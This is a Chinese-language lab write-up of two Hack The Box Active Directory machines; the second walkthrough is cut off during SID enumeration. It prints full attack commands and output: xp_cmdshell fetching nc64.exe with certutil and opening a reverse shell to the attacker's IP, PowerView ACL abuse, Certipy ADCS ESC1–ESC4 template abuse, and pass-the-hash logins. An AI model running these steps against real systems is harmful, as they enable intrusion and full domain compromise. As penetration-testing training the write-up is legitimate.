AI摘要：该文章记录了一次域环境渗透测试，通过Nmap扫描发现目标，利用泄露的凭据访问共享文件，从中提取用户密码。随后，利用SQL Server的sa账户获取shell，发现数据库配置文件中的管理员密码。通过BloodHound分析权限，利用Ryan用户的WriteOwner权限修改CA_SVC密码，发现ADCS漏洞。最终，利用Certipy请求域管理员证书，获取NT哈希，成功以Administrator身份登录并获取root flag。虽然这篇评级是easy，但是对我来说还是蛮难的，至少是我做过的最难的easy评级了（）本机Ip：10.10.16.6目标ip：10.10.11.51首先nmap扫描nmap -sC -sV -Pn 10.10.11.51扫描结果Nmap scan report for 10.10.11.51 Host is up (0.32s latency). Not shown: 987 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 53/tcp open domain (generic dns response: SERVFAIL) | fingerprint-strings: | DNSVersionBindReqTCP: | version |_ bind 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-07-28 09:41:43Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name) | ssl-cert: Subject: | Subject Alternative Name: DNS:DC01.sequel.htb, DNS:sequel.htb, DNS:SEQUEL | Not valid before: 2025-06-26T11:34:57 |_Not valid after: 2124-06-08T17:00:40 |_ssl-date: 2025-07-28T09:43:21+00:00; -7h56m06s from scanner time. 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name) |_ssl-date: 2025-07-28T09:43:23+00:00; -7h56m06s from scanner time. | ssl-cert: Subject: | Subject Alternative Name: DNS:DC01.sequel.htb, DNS:sequel.htb, DNS:SEQUEL | Not valid before: 2025-06-26T11:34:57 |_Not valid after: 2124-06-08T17:00:40 1433/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000.00; RTM | ms-sql-ntlm-info: | 10.10.11.51:1433: | Target_Name: SEQUEL | NetBIOS_Domain_Name: SEQUEL | NetBIOS_Computer_Name: DC01 | DNS_Domain_Name: sequel.htb | DNS_Computer_Name: DC01.sequel.htb | DNS_Tree_Name: sequel.htb |_ Product_Version: 10.0.17763 | ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback | Not valid before: 2025-07-28T09:38:48 |_Not valid after: 2055-07-28T09:38:48 |_ssl-date: 2025-07-28T09:43:21+00:00; -7h56m06s from scanner time. | ms-sql-info: | 10.10.11.51:1433: | Version: | name: Microsoft SQL Server 2019 RTM | number: 15.00.2000.00 | Product: Microsoft SQL Server 2019 | Service pack level: RTM | Post-SP patches applied: false |_ TCP port: 1433 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name) | ssl-cert: Subject: | Subject Alternative Name: DNS:DC01.sequel.htb, DNS:sequel.htb, DNS:SEQUEL | Not valid before: 2025-06-26T11:34:57 |_Not valid after: 2124-06-08T17:00:40 |_ssl-date: 2025-07-28T09:43:22+00:00; -7h56m06s from scanner time. 3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name) | ssl-cert: Subject: | Subject Alternative Name: DNS:DC01.sequel.htb, DNS:sequel.htb, DNS:SEQUEL | Not valid before: 2025-06-26T11:34:57 |_Not valid after: 2124-06-08T17:00:40 |_ssl-date: 2025-07-28T09:43:23+00:00; -7h56m06s from scanner time. 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port53-TCP:V=7.95%I=7%D=7/29%Time=6887B57A%P=aarch64-unknown-linux-gnu% SF:r(DNSVersionBindReqTCP,20,"\0\x1e\0\x06\x81\x82\0\x01\0\0\0\0\0\0\x07ve SF:rsion\x04bind\0\0\x10\0\x03"); Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb2-security-mode: | 3:1:1: |_ Message signing enabled and required | smb2-time: | date: 2025-07-28T09:42:36 |_ start_date: N/A |_clock-skew: mean: -7h56m07s, deviation: 2s, median: -7h56m06s Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 141.04 seconds通过扫描结果可以看出域名是sequel.htb和DC01.sequel.htb加入hostsecho "10.10.11.51 DC01.sequel.htb sequel.htb" | sudo tee -a /etc/hosts访问一下这两个域名，发现无法访问我们可以使用提供的凭据枚举当前存在的共享，rose: KxEPkKe6R8sunetexec smb 10.10.11.51 -u rose -p 'KxEPkKe6R8su' --shares枚举结果：SMB 10.10.11.51 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False) SMB 10.10.11.51 445 DC01 [+] sequel.htb\rose:KxEPkKe6R8su SMB 10.10.11.51 445 DC01 [*] Enumerated shares SMB 10.10.11.51 445 DC01 Share Permissions Remark SMB 10.10.11.51 445 DC01 ----- ----------- ------ SMB 10.10.11.51 445 DC01 Accounting Department READ SMB 10.10.11.51 445 DC01 ADMIN$ Remote Admin SMB 10.10.11.51 445 DC01 C$ Default share SMB 10.10.11.51 445 DC01 IPC$ READ Remote IPC SMB 10.10.11.51 445 DC01 NETLOGON READ Logon server share SMB 10.10.11.51 445 DC01 SYSVOL READ Logon server share SMB 10.10.11.51 445 DC01 Users READ 我们看到我们有读取权限访问Accounting Department的共享文件，我们将使用smbclient对其进行枚举impacket-smbclient sequel.htb/rose:'KxEPkKe6R8su'@10.10.11.51首先使用shares查看组，接着使用use Accounting Department选择使用财务部门，查看内容，我们看到两个Excel表格。最后用get将两个表格下载下来。Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies Type help for list of commands # shares Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies Type help for list of commands # shares Accounting Department ADMIN$ C$ IPC$ NETLOGON SYSVOL Users # use Accounting Department # ls drw-rw-rw- 0 Sun Jun 9 19:11:31 2024 . drw-rw-rw- 0 Sun Jun 9 19:11:31 2024 .. -rw-rw-rw- 10217 Sun Jun 9 19:11:31 2024 accounting_2024.xlsx -rw-rw-rw- 6780 Sun Jun 9 19:11:31 2024 accounts.xlsx # get accounting_2024.xlsx # get accounts.xlsx # 如果我们尝试打开accounts.xlsx文件，我们知道它已损坏┌──(root㉿kali)-[~] └─# file accounts.xlsx accounts.xlsx: Zip archive data, made by v2.0, extract using at least v2.0, last modified Jun 09 2024 10:47:44, uncompressed size 681, method=deflate ┌──(root㉿kali)-[~] └─# file accounting_2024.xlsx accounting_2024.xlsx: Zip archive data, made by v4.5, extract using at least v2.0, last modified Jan 01 1980 00:00:00, uncompressed size 1284, method=deflate尝试在 LibreOffice 中打开任一工作簿也都显示它已损坏发现是一个zip文件，但如果我们尝试解压缩unzip accounts.xlsx -d accounts unzip accounting_2024.xlsx -d accountsing经过了一番的查找，我们在accounts/xl/sharedStrings.xml发现了用户名、电子邮件和密码比较乱，让我们整理一下使用命令cat accounts/xl/sharedStrings.xml | xmllint --xpath '//*[local-name()="t"]/text()' - | awk 'ORS=NR%5?",":"\n"'; echoFirst Name,Last Name,Email,Username,Password Angela,Martin,angela@sequel.htb,angela,0fwz7Q4mSpurIt99 Oscar,Martinez,oscar@sequel.htb,oscar,86LxLBMgEWaKUnBG Kevin,Malone,kevin@sequel.htb,kevin,Md9Wlq1E5bZnVDVo NULL,sa@sequel.htb,sa,MSSQLP@ssw0rd!,创建用户和密码文档，收集这些凭据，users.txtangela oscar kevin sapassword.txt0fwz7Q4mSpurIt99 86LxLBMgEWaKUnBG Md9Wlq1E5bZnVDVo MSSQLP@ssw0rd!使用netexec检查它们是否有效netexec smb 10.10.11.51 -u users.txt -p password.txt结果：SMB 10.10.11.51 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False) SMB 10.10.11.51 445 DC01 [-] sequel.htb\angela:0fwz7Q4mSpurIt99 STATUS_LOGON_FAILURE SMB 10.10.11.51 445 DC01 [-] sequel.htb\oscar:0fwz7Q4mSpurIt99 STATUS_LOGON_FAILURE SMB 10.10.11.51 445 DC01 [-] sequel.htb\kevin:0fwz7Q4mSpurIt99 STATUS_LOGON_FAILURE SMB 10.10.11.51 445 DC01 [-] sequel.htb\sa:0fwz7Q4mSpurIt99 STATUS_LOGON_FAILURE SMB 10.10.11.51 445 DC01 [-] sequel.htb\angela:86LxLBMgEWaKUnBG STATUS_LOGON_FAILURE SMB 10.10.11.51 445 DC01 [+] sequel.htb\oscar:86LxLBMgEWaKUnBG这表明了以下凭据:oscar:86LxLBMgEwaKUnBG。由于我们在Nmap 扫描中看到 MSSQL 端口是开放的，我们可以通过传递local-auth 选项在 MSSQL 上测试这些凭据，该选项尝试直接与MSSOL 服务进行身份验证。我们使用 sa 账户，即 SOL Server中的默认系统管理员账户。nxc mssql 10.10.11.51 -u sa -p 'MSSQLP@ssw0rd!' --local-authMSSQL 10.10.11.51 1433 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:sequel.htb) MSSQL 10.10.11.51 1433 DC01 [+] DC01\sa:MSSQLP@ssw0rd! (Pwn3d!)知道了数据库的账号密码，使用 impacket-mssqlclient 工具，连接到目标 SQL Serverimpacket-mssqlclient sequel.htb/'sa:MSSQLP@ssw0rd!'@10.10.11.51Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies [*] Encryption required, switching to TLS [*] ENVCHANGE(DATABASE): Old Value: master, New Value: master [*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english [*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192 [*] INFO(DC01\SQLEXPRESS): Line 1: Changed database context to 'master'. [*] INFO(DC01\SQLEXPRESS): Line 1: Changed language setting to us_english. [*] ACK: Result: 1 - Microsoft SQL Server (150 7208) [!] Press help for extra shell commands SQL (sa dbo@master)>启用xp_cmdshellenable_xp_cmdshell RECONFIGURE;INFO(DC01\SQLEXPRESS): Line 185: Configuration option 'show advanced options' changed from 1 to 1. Run the RECONFIGURE statement to install. INFO(DC01\SQLEXPRESS): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.查看自己的权限xp_cmdshell whoamioutput -------------- sequel\sql_svc NULL本地nc开启监听，用来连接反向shellnc -lnvp 4444开启本地服务器，便于后续将nc64.exe上传到域主机python3 -m http.server 4000让域主机从本地服务器拉取nc64.exeEXEC xp_cmdshell 'certutil -urlcache -split -f http://10.10.16.6:4000/nc64.exe C:\Users\sql_svc\Desktop\nc64.exe';output --------------------------------------------------- **** Online **** 0000 ... b0d8 CertUtil: -URLCache command completed successfully. NULL拉取成功了，那么执行nc64.exe反向连接到我们的攻击机EXEC xp_cmdshell 'C:\Users\sql_svc\Desktop\nc64.exe -e cmd.exe 10.10.16.6 4444';得到回显，拿下shell我们先回道根目录，在桌面发现了可疑的数据库文件夹sql2019，经过探索，发现了数据库的配置文件C:\SQL2019\ExpressAdv_ENU>dir dir Volume in drive C has no label. Volume Serial Number is 3705-289D Directory of C:\SQL2019\ExpressAdv_ENU 01/03/2025 08:29 AM . 01/03/2025 08:29 AM .. 06/08/2024 03:07 PM 1033_ENU_LP 09/24/2019 10:03 PM 45 AUTORUN.INF 09/24/2019 10:03 PM 788 MEDIAINFO.XML 06/08/2024 03:07 PM 16 PackageId.dat 06/08/2024 03:07 PM redist 06/08/2024 03:07 PM resources 09/24/2019 10:03 PM 142,944 SETUP.EXE 09/24/2019 10:03 PM 486 SETUP.EXE.CONFIG 06/08/2024 03:07 PM 717 sql-Configuration.INI 09/24/2019 10:03 PM 249,448 SQLSETUPBOOTSTRAPPER.DLL 06/08/2024 03:07 PM x64 7 File(s) 394,444 bytes 6 Dir(s) 3,792,752,640 bytes free查看数据库配置文件type sql-Configuration.INI[OPTIONS] ACTION="Install" QUIET="True" FEATURES=SQL INSTANCENAME="SQLEXPRESS" INSTANCEID="SQLEXPRESS" RSSVCACCOUNT="NT Service\ReportServer$SQLEXPRESS" AGTSVCACCOUNT="NT AUTHORITY\NETWORK SERVICE" AGTSVCSTARTUPTYPE="Manual" COMMFABRICPORT="0" COMMFABRICNETWORKLEVEL=""0" COMMFABRICENCRYPTION="0" MATRIXCMBRICKCOMMPORT="0" SQLSVCSTARTUPTYPE="Automatic" FILESTREAMLEVEL="0" ENABLERANU="False" SQLCOLLATION="SQL_Latin1_General_CP1_CI_AS" SQLSVCACCOUNT="SEQUEL\sql_svc" SQLSVCPASSWORD="WqSZAF6CysDQbGb3" SQLSYSADMINACCOUNTS="SEQUEL\Administrator" SECURITYMODE="SQL" SAPWD="MSSQLP@ssw0rd!" ADDCURRENTUSERASSQLADMIN="False" TCPENABLED="1" NPENABLED="1" BROWSERSVCSTARTUPTYPE="Automatic" IAcceptSQLServerLicenseTerms=True这里很明显，我们拿到了数据库密码，还差用户名了；让我们首先查看当前系统的用户net userUser accounts for \\DC01 ------------------------------------------------------------------------------- Administrator ca_svc Guest krbtgt michael oscar rose ryan sql_svc The command completed successfully.接下来，我们使用netexec来对系统上找到的用户尝试使用来自aduser.txt文件中的凭据和密码WgSZAF6CysDObGb3对SMB服务进行身份验证。netexec smb sequel.htb -u Users.txt -p 'WqSZAF6CysDQbGb3'aduser.txtAdministrator ca_svc Guest krbtgt michael oscar rose ryan sql_svcSMB 10.10.11.51 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False) SMB 10.10.11.51 445 DC01 [-] sequel.htb\Administrator:WqSZAF6CysDQbGb3 STATUS_LOGON_FAILURE SMB 10.10.11.51 445 DC01 [-] sequel.htb\ca_svc:WqSZAF6CysDQbGb3 STATUS_LOGON_FAILURE SMB 10.10.11.51 445 DC01 [-] sequel.htb\Guest:WqSZAF6CysDQbGb3 STATUS_LOGON_FAILURE SMB 10.10.11.51 445 DC01 [-] sequel.htb\krbtgt:WqSZAF6CysDQbGb3 STATUS_LOGON_FAILURE SMB 10.10.11.51 445 DC01 [-] sequel.htb\michael:WqSZAF6CysDQbGb3 STATUS_LOGON_FAILURE SMB 10.10.11.51 445 DC01 [-] sequel.htb\oscar:WqSZAF6CysDQbGb3 STATUS_LOGON_FAILURE SMB 10.10.11.51 445 DC01 [-] sequel.htb\rose:WqSZAF6CysDQbGb3 STATUS_LOGON_FAILURE SMB 10.10.11.51 445 DC01 [+] sequel.htb\ryan:WqSZAF6CysDQbGb3我们可以看见ryan:WqSZAF6CysDQbGb3可以用来登陆接下来我们使用evil-winrm来获取shellevil-winrm -i 10.10.11.51 -u ryan -p 'WqSZAF6CysDQbGb3'成功获取shell接下来常规操作，从桌面拿到flag接下来我们首先使用bloodhound来收集Active Directory域的信息bloodhound-python -u ryan -p 'WqSZAF6CysDQbGb3' -d sequel.htb -ns 10.10.11.51 -c all --zip当最后显示INFO: Done in 03M 38S INFO: Compressing output into 20250728214606_bloodhound.zip的时候，说明收集成功Ryan 拥有WriteOwner超过 CA_SVC：尝试添加影子凭证certipy shadow auto -u ryan@sequel.htb -p WqSZAF6CysDQbGb3 -account 'ca_svc' -dc-ip 10.10.11.51不行，失败了那生成一个 zip 文件，然后我们将其加载到 BloodHound 中，这是一个工具，用于分析和可视化 Active Directory 的权限和攻击路径。查看用户 Ryan，我们可以看到他们拥有对用户 CA SVC的WriteOwner 权限。这个特权使用户 Ryan 能够控制CA SVC 账户，包括修改其属性以及更改其密码。我们继续使用Powerview更改用户ca svc的密码。# 上传 PowerView 模块，PowerView 是一个强大的域环境侦察与操作工具 upload PowerView.ps1 导入 PowerView 模块 Import-Module .\PowerView.ps1 # 给 "ryan" 用户赋予对 "ca_svc" 对象的重置密码权限（ResetPassword） Set-DomainObjectOwner -Identity "ca_svc" -OwnerIdentity "ryan" # 给 "ryan" 用户赋予对 "ca_svc" 对象的重置密码权限（ResetPassword） Add-DomainObjectAcl -TargetIdentity "ca_svc" -Rights ResetPassword -PrincipalIdentity "ryan" # 将明文密码 "Password123!!" 转换为安全字符串，供后续设置密码使用 $cred = ConvertTo-SecureString "Password123!!" -AsPlainText -Force # 使用之前创建的安全字符串密码，重置 "ca_svc" 用户的密码 Set-DomainUserPassword -Identity "ca_svc" -AccountPassword $crednetexec smb sequel.htb -u ca_svc -p 'Password123!!'SMB 10.10.11.51 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False) SMB 10.10.11.51 445 DC01 [-] sequel.htb\ca_svc:Password123!! STATUS_LOGON_FAILURE查看用户ca svc的属性，我们看到它们是 Cert Publishers 组的成员。从该组的描述中，我们看到该组的成员被允许将证书发布到目录。这表明存在 Active Directory 证书服务。我们随后使用 ca_svc 账户的凭据，通过 Certipy 工具枚举证书模板和配置。Certipy 是一款用于枚举和利用活动目录证书服务（ADCS）漏洞的工具。certipy find -u 'ca_svc@sequel.htb' -p 'Password123!!' -dc-ip 10.10.11.51 -stdoutCertipy v4.8.2 - by Oliver Lyak (ly4k) [*] Finding certificate templates [*] Found 34 certificate templates [*] Finding certificate authorities [*] Found 1 certificate authority [*] Found 12 enabled certificate templates <...SNIP...> Certificate Temp lates 0 Template Name : DunderMifflinAuthentication Display Name : Dunder Mifflin Authentication Certificate Authorities : sequel1-dc01-CA Enabled : True Client Authentication : True Enrollment Agent : False <...SNIP...> write Property Principals : SEQUEL.HTB\domain Admins : SEQUEL.HTB\Enterprise Admins : SEQUEL.HTB\Administrator : SEQUEL.HTB\Cert Publishers [!] vulnerabilities ESC4 : 'SEQUEL.HTB\Cert Publishers' has dangerous permissions <...SNIP...> [!] vulnerabilities ESC4 : 'SEQUEL.HTB\Cert Publishers' has dangerous permissions我们发现证书模板 DunderMifflinAuthentication 存在漏洞，因为 Cert Publishers 组拥有危险的权限。接下来，我们先修改该证书模板，使其能够被 ca_svc 账号利用。我们使用 certipy template 命令更新模板配置，同时备份原始设置。certipy template -u ca_svc@sequel.htb -p 'Password123!!' -template DunderMifflinAuthentication -save-old -dc-ip 10.10.11.51Certipy v4.8.2 - by Oliver Lyak (ly4k) [*] Saved old configuration for 'DunderMifflinAuthentication' to 'DunderMifflinAuthentication.json' [*] Updating certificate template 'DunderMifflinAuthentication' [*] Successfully updated 'DunderMifflinAuthentication'该命令更新了证书模板，使其允许无需管理员审批即可请求证书，并确保启用了客户端身份验证（Client Authentication）扩展密钥用法（EKU）。在这种配置下，我们可以请求像 Administrator 这样高权限用户的证书。如果我们再次运行 certipy find，会发现该模板易受 ESC1、ESC2、ESC3 和 ESC4 漏洞影响。这就确认了我们能够完全利用该证书模板来模拟任何用户，包括域管理员。certipy find -u 'ca_svc@sequel.htb' -p 'Password123!!' -dc-ip 10.10.11.51 -stdoutCertipy v4.8.2 - by Oliver Lyak (ly4k) [*] Finding certificate templates [*] Found 34 certificate templates [*] Finding certificate authorities [*] Found 1 certificate authority <...SNIP...> Permissions objectControl Permissions Owner : SEQUEL.HTB\Enterprise Admins Full Control Principals : SEQUEL.HTB\Authenticated Users write Owner Principals : SEQUEL.HTB\Authenticated Users write Dacl Principals : SEQUEL.HTB\Authenticated Users write Property Principals : SEQUEL.HTB\Authenticated Users [!] vulnerabilities ESC1 : 'SEQUEL.HTB\Authenticated Users' can enroll, enrollee supplies subject and template allows client authentication ESC2 : 'SEQUEL.HTB\Authenticated Users' can enroll and template can be used for any purpose ESC3 : 'SEQUEL.HTB\Authenticated Users' can enroll and template has Certificate Request Agent EKU set ESC4 : 'SEQUEL.HTB\Authenticated Users' has dangerous permissions我们可以通过请求一个冒充域administrator的证书来利用这一点。certipy req -username ca_svc@sequel.htb -p 'Password123!!' -ca sequel-DC01-CA - template DunderMifflinAuthentication -target dc01.sequel.htb -upn administrator@sequel.htbCertipy v4.8.2 - by Oliver Lyak (ly4k) [*] Requesting certificate via RPC [*] Successfully requested certificate [*] Request ID is 30 [*] Got certificate with UPN 'administrator@sequel.htb' [*] Certificate has no object SID [*] Saved certificate and private key to 'administrator.pfx'然后，我们使用生成的证书以administrator身份进行身份验证，并提取administrator的 NT 哈希值。certipy auth -pfx administrator.pfx -domain sequel.htbCertipy v4.8.2 - by Oliver Lyak (ly4k) [*] Using principal: administrator@sequel.htb [*] Trying to get TGT... [*] Got TGT [*] Saved credential cache to 'administrator.ccache' [*] Trying to retrieve NT hash for 'administrator' [*] Got hash for 'administrator@sequel.htb': aad3b435b51404eeaad3b435b51404ee:7a8d4e04986afa8ed4060f75e5a0b3ff现在，我们可以使用 Evil-WinRM 和获取到的哈希值以administrator身份登录。evil-winrm -i 10.10.11.51 -u Administrator -H 7a8d4e04986afa8ed4060f75e5a0b3ffEvil-WinRM shell v3.7 warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\Administrator\Documents> whoami sequel\administrator *Evil-WinRM* PS C:\Users\Administrator\Documents>接下来是常规操作，从桌面拿到root flag
AI摘要：对目标IP进行Nmap扫描后，发现`cicada.htb`域名并加入hosts。通过`crackmapexec`工具，利用guest用户成功枚举SMB共享，发现HR共享目录并获取到默认密码。使用该密码成功登录用户michael.wrightson，枚举用户发现david.orelious的密码提示。利用david.orelious的密码访问DEV共享，获取Backup_script.ps1文件，得到emily.oscars的凭据并成功获取shell。利用emily.oscars的SeBackupPrivilege权限，导出SAM和SYSTEM文件，提取Administrator用户的NTLM哈希，最终通过Pass-the-Hash攻击获取Administrator权限，拿到root flag。本机ip：10.10.16.6目标ip：10.10.11.35nmap -sC -sV -Pn 10.10.11.35得到结果如下Stats: 0:01:00 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan Service scan Timing: About 91.67% done; ETC: 03:54 (0:00:04 remaining) Nmap scan report for 10.10.11.35 Host is up (0.32s latency). Not shown: 988 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 53/tcp open domain (generic dns response: SERVFAIL) | fingerprint-strings: | DNSVersionBindReqTCP: | version |_ bind 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-07-26 18:53:59Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name) |_ssl-date: TLS randomness does not represent time | ssl-cert: Subject: commonName=CICADA-DC.cicada.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:CICADA-DC.cicada.htb | Not valid before: 2024-08-22T20:24:16 |_Not valid after: 2025-08-22T20:24:16 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name) | ssl-cert: Subject: commonName=CICADA-DC.cicada.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:CICADA-DC.cicada.htb | Not valid before: 2024-08-22T20:24:16 |_Not valid after: 2025-08-22T20:24:16 |_ssl-date: TLS randomness does not represent time 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name) | ssl-cert: Subject: commonName=CICADA-DC.cicada.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:CICADA-DC.cicada.htb | Not valid before: 2024-08-22T20:24:16 |_Not valid after: 2025-08-22T20:24:16 |_ssl-date: TLS randomness does not represent time 3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name) | ssl-cert: Subject: commonName=CICADA-DC.cicada.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:CICADA-DC.cicada.htb | Not valid before: 2024-08-22T20:24:16 |_Not valid after: 2025-08-22T20:24:16 |_ssl-date: TLS randomness does not represent time 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-title: Not Found |_http-server-header: Microsoft-HTTPAPI/2.0 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port53-TCP:V=7.95%I=7%D=7/27%Time=68853250%P=aarch64-unknown-linux-gnu% SF:r(DNSVersionBindReqTCP,20,"\0\x1e\0\x06\x81\x82\0\x01\0\0\0\0\0\0\x07ve SF:rsion\x04bind\0\0\x10\0\x03"); Service Info: Host: CICADA-DC; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb2-time: | date: 2025-07-26T18:54:52 |_ start_date: N/A | smb2-security-mode: | 3:1:1: |_ Message signing enabled and required |_clock-skew: -59m46s Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 118.85 seconds通过扫描结果，发现域名cicada.htb，先加入hostsecho "10.10.11.35 cicada.htb" | sudo tee -a /etc/hosts让我们首先检查匿名用户是否可以访问SMB共享驱动器。我们将使用crackmapexec个流行的工具来自动枚举域(包括用户、文件/目录和共享)。让我们尝试通过指定协议、域名和--shares参数来枚举SMB共享。crackmapexec smb cicada.htb --shares扫描结果：SMB cicada.htb 445 CICADA-DC [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False) SMB cicada.htb 445 CICADA-DC [-] Error enumerating shares: STATUS_USER_SESSION_DELETED如果我们尝试列出账户而不指定用户，就会被拒绝。因此，或许我们可以尝试一些可能正在使用的典型凭据，比如用户名“guest”且无密码。crackmapexec smb cicada.htb -u 'guest' -p '' --shares扫描结果：SMB cicada.htb 445 CICADA-DC [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False) SMB cicada.htb 445 CICADA-DC [+] cicada.htb\guest: SMB cicada.htb 445 CICADA-DC [+] Enumerated shares SMB cicada.htb 445 CICADA-DC Share Permissions Remark SMB cicada.htb 445 CICADA-DC ----- ----------- ------ SMB cicada.htb 445 CICADA-DC ADMIN$ Remote Admin SMB cicada.htb 445 CICADA-DC C$ Default share SMB cicada.htb 445 CICADA-DC DEV SMB cicada.htb 445 CICADA-DC HR READ SMB cicada.htb 445 CICADA-DC IPC$ READ Remote IPC SMB cicada.htb 445 CICADA-DC NETLOGON Logon server share SMB cicada.htb 445 CICADA-DC SYSVOL Logon server share 看起来我们成功了，访客用户可以访问HR共享。因此我们将使用smbclient查看共享并查看其中可能包含的文件。smbclient //cicada.htb/HRPassword for [WORKGROUP\root]: Try "help" to get a list of possible commands. smb: \> dir . D 0 Thu Mar 14 20:29:09 2024 .. D 0 Thu Mar 14 20:21:29 2024 Notice from HR.txt A 1266 Thu Aug 29 01:31:48 2024 4168447 blocks of size 4096. 481529 blocks available smb: \> get "Notice from HR.txt" getting file \Notice from HR.txt of size 1266 as Notice from HR.txt (0.8 KiloBytes/sec) (average 0.8 KiloBytes/sec)查看内容cat Notice\ from\ HR.txtDear new hire! Welcome to Cicada Corp! We're thrilled to have you join our team. As part of our security protocols, it's essential that you change your default password to something unique and secure. Your default password is: Cicada$M6Corpb*@Lp#nZp!8 To change your password: 1. Log in to your Cicada Corp account** using the provided username and the default password mentioned above. 2. Once logged in, navigate to your account settings or profile settings section. 3. Look for the option to change your password. This will be labeled as "Change Password". 4. Follow the prompts to create a new password**. Make sure your new password is strong, containing a mix of uppercase letters, lowercase letters, numbers, and special characters. 5. After changing your password, make sure to save your changes. Remember, your password is a crucial aspect of keeping your account secure. Please do not share your password with anyone, and ensure you use a complex password. If you encounter any issues or need assistance with changing your password, don't hesitate to reach out to our support team at support@cicada.htb. Thank you for your attention to this matter, and once again, welcome to the Cicada Corp team! Best regards, Cicada Corp查找SID现在我们已经找到了这个密码，我们可以尝试检查是否有其他帐户仍在使用此密码。所以，我们必须找出域中的所有用户，我们可以使用Impacket的lookupsid。此工具将尝试暴力破解 AD 域中任何用户的WindowsSecurity 标识符(SID)。每个用户都有一个唯一的 SID，该 SID由其相对标识符(RID)与域SID 连接组成。用户 SID 通常由域控制器颁发，用于授权和访问机制，例如构成登录期间创建的访问令牌的一部分。为了枚举域，我们将指定来宾用户、域名，并且不使用密码。impacket-lookupsid 'cicada.htb/guest'@cicada.htb -no-pass[*] Brute forcing SIDs at cicada.htb [*] StringBinding ncacn_np:cicada.htb[\pipe\lsarpc] [*] Domain SID is: S-1-5-21-917908876-1423158569-3159038727 498: CICADA\Enterprise Read-only Domain Controllers (SidTypeGroup) 500: CICADA\Administrator (SidTypeUser) 501: CICADA\Guest (SidTypeUser) 502: CICADA\krbtgt (SidTypeUser) 512: CICADA\Domain Admins (SidTypeGroup) 513: CICADA\Domain Users (SidTypeGroup) 514: CICADA\Domain Guests (SidTypeGroup) 515: CICADA\Domain Computers (SidTypeGroup) 516: CICADA\Domain Controllers (SidTypeGroup) 517: CICADA\Cert Publishers (SidTypeAlias) 518: CICADA\Schema Admins (SidTypeGroup) 519: CICADA\Enterprise Admins (SidTypeGroup) 520: CICADA\Group Policy Creator Owners (SidTypeGroup) 521: CICADA\Read-only Domain Controllers (SidTypeGroup) 522: CICADA\Cloneable Domain Controllers (SidTypeGroup) 525: CICADA\Protected Users (SidTypeGroup) 526: CICADA\Key Admins (SidTypeGroup) 527: 